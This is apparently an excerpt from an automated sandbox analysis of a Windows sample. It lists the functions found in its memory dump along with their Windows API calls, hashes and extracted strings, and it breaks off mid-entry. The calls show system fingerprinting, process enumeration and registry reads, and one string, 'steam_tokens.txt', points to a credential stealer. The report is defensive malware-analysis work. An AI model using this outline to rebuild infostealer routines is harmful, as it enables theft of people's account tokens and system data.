Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,02759898,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,02759898,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,027598B8,00000000,?,00420DF4,00000000,?,00000000,00000000,?,02759600,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,02739F70,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,02759798,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02759108,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02759108,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,0273C248,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: 210a1a3edd207b4315541268f111756b8ad613cb791d899b2367b2976105ea6e
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 210a1a3edd207b4315541268f111756b8ad613cb791d899b2367b2976105ea6e
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02736480,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 342ba9c3934a6c54fff53cd0cd6e5e15db293c0175f23d1547ba88b03e4ed0df
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 342ba9c3934a6c54fff53cd0cd6e5e15db293c0175f23d1547ba88b03e4ed0df
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: 55b63559ea70b41f4ff6aa6947b706aea6787547217eb75b20c4cf784c0221bd
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 55b63559ea70b41f4ff6aa6947b706aea6787547217eb75b20c4cf784c0221bd
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: fda54ba870425d0353ebd5f642f5a2c0b73bda93ccf07cf203ea57b2e88dabeb
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: fda54ba870425d0353ebd5f642f5a2c0b73bda93ccf07cf203ea57b2e88dabeb
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c2a1971556bf1f268a6ff166481f13a8f88964e7da0f88a34b64ba2c4622adad
